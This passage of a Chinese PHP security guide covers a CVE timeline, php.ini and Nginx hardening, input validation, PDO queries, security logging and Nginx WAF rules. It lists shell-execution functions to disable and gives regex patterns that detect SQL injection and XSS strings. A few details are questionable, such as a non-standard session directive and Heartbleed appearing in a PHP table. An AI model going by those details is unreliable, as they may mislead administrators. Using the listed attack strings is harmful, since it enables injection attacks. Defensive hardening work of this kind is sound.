| // 方法1:使用HTML Purifier库进行输入过滤
require_once 'htmlpurifier-4.14.1/library/HTMLPurifier.auto.php';
$config = HTMLPurifier_Config::createDefault();
$purifier = new HTMLPurifier($config);
$user_input = $_POST['comment'];
$clean_html = $purifier->purify($user_input);
// 方法2:更严格的正则过滤
function safe_html_filter($input) {
// 只允许特定的安全标签
$allowed_tags = '<b><i><u><p><br><a><img>';
$clean = strip_tags($input, $allowed_tags);
// 额外过滤危险属性
$clean = preg_replace('/on\w+="[^"]*"/i', '', $clean);
$clean = preg_replace('/on\w+=\'[^\']*\'/i', '', $clean);
return $clean;
}
|
1
2
3
4
| # 升级PHP到修复版本
sudo apt-get update
sudo apt-get install php8.2 # 升级到8.2.8+或更高
php -v
|
四、漏洞时间线总览
| 年份 | CVE编号 | 漏洞名称 | 影响版本 | 风险等级 | 漏洞类型 |
|---|
| 2012 | CVE-2012-0830 | PHP 5.3.9远程代码执行 | 5.3.9-5.3.10 | 严重 | 远程代码执行 |
| 2012 | CVE-2012-1823 | PHP-CGI远程代码执行 | 5.3.10-5.4.2 | 严重 | 远程代码执行 |
| 2014 | CVE-2014-0160 | Heartbleed心脏出血 | OpenSSL 1.0.1 | 严重 | 内存信息泄露 |
| 2015 | CVE-2015-0273 | PHP远程代码执行 | 5.4-5.6 | 高危 | 远程代码执行 |
| 2016 | CVE-2016-5771 | 垃圾回收双重释放 | 7.0.0-7.0.4 | 高危 | 内存破坏 |
| 2016 | CVE-2016-5772 | php滤器缓冲区溢出 | 7.0.x | 高危 | 缓冲区溢出 |
| 2016 | CVE-2016-5773 | WDDX整数溢出 | 7.0.x | 高危 | 整数溢出 |
| 2016 | CVE-2016-7479 | PHP 7远程代码执行 | 7.0.0-7.0.8 | 严重 | 远程代码执行 |
| 2018 | CVE-2018-19518 | PHP imap扩展漏洞 | 5.6-7.2 | 高危 | 命令注入 |
| 2019 | CVE-2019-11043 | PHP-FPM远程代码执行 | 7.2-7.4 | 高危 | 远程代码执行 |
| 2021 | CVE-2021-21703 | PHP 8.x类型混淆 | 8.0-8.1 | 高危 | 类型混淆 |
| 2022 | CVE-2022-31625 | PHP 8.x远程代码执行 | 8.1.0-8.1.10 | 高危 | 远程代码执行 |
| 2023 | CVE-2023-3245 | PHP 8.x安全绕过 | 8.0-8.2 | 中危 | 安全绕过 |
五、防范措施与最佳实践
5.1 版本管理与升级策略
版本选择建议
| 应用场景 | 推荐版本 | 说明 |
|---|
| 新项目 | PHP 8.2+ | 获得最新安全特性和性能优化 |
| 现有项目 | PHP 8.1 LTS | 稳定版本,社区支持良好 |
| 遗留系统 | PHP 8.0 | 如无法立即升级,至少使用LTS版本 |
| 不推荐 | PHP 7.4及以下 | 已停止安全支持 |
升级流程
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| # 1. 制定升级计划
# 评估当前PHP版本和使用中的PHP特性
php -v
# 2. 创建测试环境
# 克隆生产环境到测试服务器
# 3. 在测试环境升级
sudo apt-get update
sudo apt-get install php8.2 # 安装目标版本
# 4. 运行兼容性测试
./vendor/bin/phpunit # 运行单元测试
composer update # 更新依赖
# 5. 记录不兼容的代码并修复
# 6. 灰度发布到生产环境
|
5.2 安全配置建议
php.ini安全配置
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
| ; ========== 基础安全配置 ==========
; 禁用危险函数
disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source
; 禁用远程文件包含
allow_url_fopen = Off
allow_url_include = Off
; 限制上传
file_uploads = Off
upload_max_filesize = 0
; 限制POST大小
post_max_size = 1K
; 禁用远程代码执行风险功能
enable_dl = Off
; ========== 会话安全 ==========
; 使用安全的会话Cookie
session.cookie_httponly = On
session.cookie_secure = On
session.use_strict_mode = On
session.cookie_samesite = Strict
; 禁用session fixation
session.regenerate_id = On
session.use_trans_sid = Off
; ========== 错误处理 ==========
; 生产环境禁用错误显示
display_errors = Off
display_startup_errors = Off
log_errors = On
error_log = /var/log/php_errors.log
; 不暴露PHP版本信息
expose_php = Off
; ========== 限制访问 ==========
; 限制PHP可访问的目录
open_basedir = /var/www/html:/tmp
; 限制最大执行时间
max_execution_time = 30
max_input_time = 30
; 限制内存使用
memory_limit = 128M
; ========== FPM安全配置 ==========
; 限制FPM worker权限
[www-pool]
security.limit_extensions = .php
listen.owner = www-data
listen.group = www-data
listen.mode = 0660
; 限制子进程
pm.max_children = 10
pm.start_servers = 2
pm.min_spare_servers = 1
pm.max_spare_servers = 5
|
Nginx安全配置
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
| server {
listen 443 ssl http2;
server_name example.com;
# SSL配置
ssl_certificate /etc/ssl/certs/server.crt;
ssl_certificate_key /etc/ssl/private/server.key;
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256;
ssl_prefer_server_ciphers on;
# 安全响应头
add_header X-Frame-Options "SAMEORIGIN" always;
add_header X-Content-Type-Options "nosniff" always;
add_header X-XSS-Protection "1; mode=block" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
root /var/www/html;
index index.php;
# PHP-FPM配置
location ~ \.php$ {
fastcgi_pass unix:/run/php/php-fpm.sock;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;
# 安全限制
fastcgi_param PHP_VALUE "cgi.fix_pathinfo=0";
fastcgi_read_timeout 60;
}
# 禁止访问敏感文件
location ~ /\.(?!well-known) {
deny all;
}
location ~ /\.ht {
deny all;
}
}
|
5.3 Web应用安全实践
输入验证与过滤
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
| <?php
class InputValidator {
private static $instance = null;
private function __construct() {}
public static function getInstance(): InputValidator {
if (self::$instance === null) {
self::$instance = new self();
}
return self::$instance;
}
public function validateString(string $input, array $rules = []): string {
// 移除所有HTML标签
$clean = strip_tags($input);
// 如果需要保留特定标签,使用HTML Purifier
if (!empty($rules['allowed_tags'])) {
$clean = strip_tags($clean, $rules['allowed_tags']);
}
// 转义输出
$clean = htmlspecialchars($clean, ENT_QUOTES, 'UTF-8');
return $clean;
}
public function validateEmail(string $email): bool {
return filter_var($email, FILTER_VALIDATE_EMAIL) !== false;
}
public function validateUrl(string $url): bool {
return filter_var($url, FILTER_VALIDATE_URL) !== false;
}
public function validateInt($value, array $options = []): int {
$min = $options['min'] ?? PHP_INT_MIN;
$max = $options['max'] ?? PHP_INT_MAX;
return filter_var(
$value,
FILTER_VALIDATE_INT,
['options' => ['min_range' => $min, 'max_range' => $max]]
);
}
}
// 使用示例
$validator = InputValidator::getInstance();
$username = $validator->validateString($_POST['username']);
$email = $validator->validateEmail($_POST['email']) ? $_POST['email'] : '';
|
安全反序列化
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
| <?php
class SafeDeserializer {
public static function unserialize(string $data, array $allowed_classes = []): mixed {
// 白名单方式:只允许反序列化预定义的类
$options = [
'allowed_classes' => $allowed_classes,
'max_depth' => 10
];
try {
return unserialize($data, $options);
} catch (Exception $e) {
// 记录反序列化错误
error_log("Unserialize error: " . $e->getMessage());
return null;
}
}
// 安全的JSON序列化替代方案
public static function safeSerialize(mixed $data): string {
return json_encode($data, JSON_THROW_ON_ERROR);
}
public static function safeUnserialize(string $data): mixed {
return json_decode($data, true, 512, JSON_THROW_ON_ERROR);
}
}
// 使用示例
class User {
public string $name;
public string $email;
}
$user = new User();
$user->name = "Test";
$user->email = "test@example.com";
// 安全序列化
$json = SafeDeserializer::safeSerialize($user);
// 安全反序列化
$restored = SafeDeserializer::safeUnserialize($json);
|
SQL注入防护
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
| <?php
class SecureDB {
private PDO $pdo;
public function __construct(PDO $pdo) {
$this->pdo = $pdo;
// 禁用模拟预处理语句,使用真实预处理
$pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
}
public function query(string $sql, array $params = []): PDOStatement {
$stmt = $this->pdo->prepare($sql);
$stmt->execute($params);
return $stmt;
}
public function fetchOne(string $sql, array $params = []): ?array {
$stmt = $this->query($sql, $params);
$result = $stmt->fetch(PDO::FETCH_ASSOC);
return $result ?: null;
}
public function fetchAll(string $sql, array $params = []): array {
$stmt = $this->query($sql, $params);
return $stmt->fetchAll(PDO::FETCH_ASSOC);
}
// 安全的INSERT
public function insert(string $table, array $data): bool {
$columns = implode(', ', array_keys($data));
$placeholders = implode(', ', array_fill(0, count($data), '?'));
$sql = "INSERT INTO {$table} ({$columns}) VALUES ({$placeholders})";
try {
$this->query($sql, array_values($data));
return true;
} catch (PDOException $e) {
error_log("Insert error: " . $e->getMessage());
return false;
}
}
}
// 使用示例
$pdo = new PDO('mysql:host=localhost;dbname=test', 'user', 'pass');
$db = new SecureDB($pdo);
// 安全的查询
$user = $db->fetchOne(
"SELECT * FROM users WHERE username = ? AND status = ?",
[$username, 'active']
);
|
5.4 入侵检测与监控
日志配置
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
| <?php
class SecurityLogger {
private static string $logFile = '/var/log/php/security.log';
public static function log(string $event, array $context = []): void {
$timestamp = date('Y-m-d H:i:s');
$ip = $_SERVER['REMOTE_ADDR'] ?? 'unknown';
$userAgent = $_SERVER['HTTP_USER_AGENT'] ?? 'unknown';
$logEntry = sprintf(
"[%s] %s | IP: %s | User-Agent: %s | Context: %s\n",
$timestamp,
$event,
$ip,
$userAgent,
json_encode($context)
);
file_put_contents(self::$logFile, $logEntry, FILE_APPEND | LOCK_EX);
}
public static function logLoginAttempt(string $username, bool $success): void {
self::log($success ? 'LOGIN_SUCCESS' : 'LOGIN_FAILED', [
'username' => $username
]);
}
public static function logSqlInjection(string $sql): void {
self::log('SQL_INJECTION_ATTEMPT', [
'sql' => $sql,
'get' => $_GET,
'post' => array_keys($_POST)
]);
}
public static function logXssAttempt(string $payload): void {
self::log('XSS_ATTEMPT', [
'payload' => $payload
]);
}
}
|
WAF规则示例
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
| # Nginx WAF配置示例
http {
# SQL注入防护
map $query_string $sql_injection {
~* "union.*select.*from" 1;
~* "insert.*into.*values" 1;
~* "delete.*from.*where" 1;
~* "drop.*table" 1;
~* "update.*set.*=" 1;
default 0;
}
# XSS防护
map $query_string $xss_attack {
~* "<script[^>]*>.*</script>" 1;
~* "javascript:" 1;
~* "onerror=" 1;
~* "onload=" 1;
default 0;
}
server {
# 阻止SQL注入
if ($sql_injection) {
return 403;
}
# 阻止XSS
if ($xss_attack) {
return 403;
}
# 阻止敏感路径访问
location ~ /\.(git|svn|htaccess|env|bak)$ {
deny all;
}
}
}
|
六、参考资料
本文仅供学习交流使用,请勿用于非法用途。进行安全测试时,请确保已获得目标系统的合法授权。
本文最后更新于:2026年3月20日